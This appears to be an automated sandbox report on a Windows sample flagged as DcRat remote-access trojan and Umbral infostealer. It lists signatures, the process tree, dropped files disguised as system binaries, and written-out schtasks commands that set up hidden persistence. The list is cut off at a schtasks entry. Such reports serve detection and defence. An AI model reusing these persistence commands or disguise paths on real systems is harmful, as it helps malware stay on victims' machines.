Malware Analysis Report

2024-10-10 10:07

Sample ID 240504-bz4e4ach56
Target a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37.exe
SHA256 a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37
Tags
dcrat umbral evasion infostealer rat stealer execution spyware
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37

Threat Level: Known bad

The file a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37.exe was found to be: Known bad.

Malicious Activity Summary

dcrat umbral evasion infostealer rat stealer execution spyware

DcRat

Umbral

Detect Umbral payload

Process spawned unexpected child process

Detects executables containing possible sandbox analysis VM names

Detects executables packed with SmartAssembly

Detects executables containing possible sandbox analysis VM usernames

DCRat payload

Detects executables attemping to enumerate video devices using WMI

Detects executables containing possible sandbox system UUIDs

Disables Task Manager via registry modification

Command and Scripting Interpreter: PowerShell

Drops file in Drivers directory

Loads dropped DLL

Reads user/profile data of web browsers

Checks computer location settings

Executes dropped EXE

Looks up external IP address via web service

Legitimate hosting services abused for malware hosting/C2

Drops file in Windows directory

Drops file in Program Files directory

Unsigned PE

Enumerates physical storage devices

Modifies registry key

Views/modifies file attributes

Suspicious use of AdjustPrivilegeToken

Creates scheduled task(s)

Detects videocard installed

Runs ping.exe

Modifies registry class

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Uses Task Scheduler COM API

Suspicious behavior: GetForegroundWindowSpam

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-04 01:35

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-04 01:35

Reported

2024-05-04 01:38

Platform

win7-20240221-en

Max time kernel

150s

Max time network

152s

Command Line

"C:\Users\Admin\AppData\Local\Temp\a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37.exe"

Signatures

DcRat

rat infostealer dcrat
Description Indicator Process Target
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 C:\Users\Admin\AppData\Local\Temp\a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A

Detect Umbral payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe

Umbral

stealer umbral

DCRat payload

rat
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Detects executables attemping to enumerate video devices using WMI

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Detects executables containing possible sandbox analysis VM names

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Detects executables containing possible sandbox analysis VM usernames

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Detects executables containing possible sandbox system UUIDs

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Detects executables packed with SmartAssembly

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Disables Task Manager via registry modification

evasion

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files\Java\jre7\bin\dtplugin\csrss.exe C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
File created C:\Program Files\Java\jre7\bin\dtplugin\886983d96e3d3e C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
File created C:\Program Files (x86)\Windows Sidebar\Gadgets\Currency.Gadget\en-US\conhost.exe C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
File created C:\Program Files (x86)\Windows Defender\es-ES\taskhost.exe C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
File created C:\Program Files\VideoLAN\VLC\winlogon.exe C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
File created C:\Program Files\VideoLAN\VLC\cc11b995f2a76d C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
File created C:\Program Files\Windows Portable Devices\spoolsv.exe C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
File created C:\Program Files (x86)\Windows Photo Viewer\de-DE\driverBrokercommon.exe C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
File opened for modification C:\Program Files\Java\jre7\bin\dtplugin\csrss.exe C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
File created C:\Program Files (x86)\Windows Defender\es-ES\b75386f1303e64 C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
File created C:\Program Files\Windows Portable Devices\f3b6ecef712a24 C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
File created C:\Program Files (x86)\Windows Photo Viewer\de-DE\1cdec3972599ff C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
File created C:\Program Files (x86)\Windows Sidebar\Gadgets\Currency.Gadget\en-US\088424020bedd6 C:\MsWinsessiondllNet\driverBrokercommon.exe N/A

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\reg.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
N/A N/A C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
N/A N/A C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
N/A N/A C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
N/A N/A C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
N/A N/A C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
N/A N/A C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
N/A N/A C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
N/A N/A C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
N/A N/A C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
N/A N/A C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
N/A N/A C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
N/A N/A C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
N/A N/A C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
N/A N/A C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
N/A N/A C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
N/A N/A C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
N/A N/A C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
N/A N/A C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\MsWinsessiondllNet\explorer.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\stealer.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\MsWinsessiondllNet\driverBrokercommon.exe N/A
Token: SeDebugPrivilege N/A C:\MsWinsessiondllNet\explorer.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1196 wrote to memory of 1972 N/A C:\Users\Admin\AppData\Local\Temp\a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37.exe C:\Users\Admin\AppData\Local\Temp\stealer.exe
PID 1196 wrote to memory of 1972 N/A C:\Users\Admin\AppData\Local\Temp\a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37.exe C:\Users\Admin\AppData\Local\Temp\stealer.exe
PID 1196 wrote to memory of 1972 N/A C:\Users\Admin\AppData\Local\Temp\a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37.exe C:\Users\Admin\AppData\Local\Temp\stealer.exe
PID 1196 wrote to memory of 1972 N/A C:\Users\Admin\AppData\Local\Temp\a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37.exe C:\Users\Admin\AppData\Local\Temp\stealer.exe
PID 1196 wrote to memory of 1292 N/A C:\Users\Admin\AppData\Local\Temp\a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37.exe C:\Users\Admin\AppData\Local\Temp\чекер dc.exe
PID 1196 wrote to memory of 1292 N/A C:\Users\Admin\AppData\Local\Temp\a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37.exe C:\Users\Admin\AppData\Local\Temp\чекер dc.exe
PID 1196 wrote to memory of 1292 N/A C:\Users\Admin\AppData\Local\Temp\a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37.exe C:\Users\Admin\AppData\Local\Temp\чекер dc.exe
PID 1196 wrote to memory of 1292 N/A C:\Users\Admin\AppData\Local\Temp\a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37.exe C:\Users\Admin\AppData\Local\Temp\чекер dc.exe
PID 1196 wrote to memory of 2580 N/A C:\Users\Admin\AppData\Local\Temp\a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37.exe C:\Users\Admin\AppData\Local\Temp\Inject.exe
PID 1196 wrote to memory of 2580 N/A C:\Users\Admin\AppData\Local\Temp\a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37.exe C:\Users\Admin\AppData\Local\Temp\Inject.exe
PID 1196 wrote to memory of 2580 N/A C:\Users\Admin\AppData\Local\Temp\a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37.exe C:\Users\Admin\AppData\Local\Temp\Inject.exe
PID 1196 wrote to memory of 2580 N/A C:\Users\Admin\AppData\Local\Temp\a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37.exe C:\Users\Admin\AppData\Local\Temp\Inject.exe
PID 1292 wrote to memory of 2624 N/A C:\Users\Admin\AppData\Local\Temp\чекер dc.exe C:\Windows\SysWOW64\WScript.exe
PID 1292 wrote to memory of 2624 N/A C:\Users\Admin\AppData\Local\Temp\чекер dc.exe C:\Windows\SysWOW64\WScript.exe
PID 1292 wrote to memory of 2624 N/A C:\Users\Admin\AppData\Local\Temp\чекер dc.exe C:\Windows\SysWOW64\WScript.exe
PID 1292 wrote to memory of 2624 N/A C:\Users\Admin\AppData\Local\Temp\чекер dc.exe C:\Windows\SysWOW64\WScript.exe
PID 2624 wrote to memory of 2392 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2624 wrote to memory of 2392 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2624 wrote to memory of 2392 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2624 wrote to memory of 2392 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2392 wrote to memory of 2496 N/A C:\Windows\SysWOW64\cmd.exe C:\MsWinsessiondllNet\driverBrokercommon.exe
PID 2392 wrote to memory of 2496 N/A C:\Windows\SysWOW64\cmd.exe C:\MsWinsessiondllNet\driverBrokercommon.exe
PID 2392 wrote to memory of 2496 N/A C:\Windows\SysWOW64\cmd.exe C:\MsWinsessiondllNet\driverBrokercommon.exe
PID 2392 wrote to memory of 2496 N/A C:\Windows\SysWOW64\cmd.exe C:\MsWinsessiondllNet\driverBrokercommon.exe
PID 1972 wrote to memory of 2788 N/A C:\Users\Admin\AppData\Local\Temp\stealer.exe C:\Windows\System32\Wbem\wmic.exe
PID 1972 wrote to memory of 2788 N/A C:\Users\Admin\AppData\Local\Temp\stealer.exe C:\Windows\System32\Wbem\wmic.exe
PID 1972 wrote to memory of 2788 N/A C:\Users\Admin\AppData\Local\Temp\stealer.exe C:\Windows\System32\Wbem\wmic.exe
PID 2496 wrote to memory of 2856 N/A C:\MsWinsessiondllNet\driverBrokercommon.exe C:\MsWinsessiondllNet\explorer.exe
PID 2496 wrote to memory of 2856 N/A C:\MsWinsessiondllNet\driverBrokercommon.exe C:\MsWinsessiondllNet\explorer.exe
PID 2496 wrote to memory of 2856 N/A C:\MsWinsessiondllNet\driverBrokercommon.exe C:\MsWinsessiondllNet\explorer.exe
PID 2392 wrote to memory of 2708 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2392 wrote to memory of 2708 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2392 wrote to memory of 2708 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2392 wrote to memory of 2708 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2856 wrote to memory of 656 N/A C:\MsWinsessiondllNet\explorer.exe C:\Windows\System32\WScript.exe
PID 2856 wrote to memory of 656 N/A C:\MsWinsessiondllNet\explorer.exe C:\Windows\System32\WScript.exe
PID 2856 wrote to memory of 656 N/A C:\MsWinsessiondllNet\explorer.exe C:\Windows\System32\WScript.exe
PID 2856 wrote to memory of 2532 N/A C:\MsWinsessiondllNet\explorer.exe C:\Windows\System32\WScript.exe
PID 2856 wrote to memory of 2532 N/A C:\MsWinsessiondllNet\explorer.exe C:\Windows\System32\WScript.exe
PID 2856 wrote to memory of 2532 N/A C:\MsWinsessiondllNet\explorer.exe C:\Windows\System32\WScript.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37.exe

"C:\Users\Admin\AppData\Local\Temp\a377c1c13801481e8dcc3c8a30c3df070ad73b9983e8c4fe85c058ac9034ee37.exe"

C:\Users\Admin\AppData\Local\Temp\stealer.exe

"C:\Users\Admin\AppData\Local\Temp\stealer.exe"

C:\Users\Admin\AppData\Local\Temp\чекер dc.exe

"C:\Users\Admin\AppData\Local\Temp\чекер dc.exe"

C:\Users\Admin\AppData\Local\Temp\Inject.exe

"C:\Users\Admin\AppData\Local\Temp\Inject.exe"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\MsWinsessiondllNet\zHYxYvywzA0UOqnH8B4aBgoRvO2C5.vbe"

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\MsWinsessiondllNet\q6hjn2OvCg2VETYAoy3FIOj.bat" "

C:\MsWinsessiondllNet\driverBrokercommon.exe

"C:\MsWinsessiondllNet\driverBrokercommon.exe"

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" csproduct get uuid

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 13 /tr "'C:\Program Files\Java\jre7\bin\dtplugin\csrss.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Program Files\Java\jre7\bin\dtplugin\csrss.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

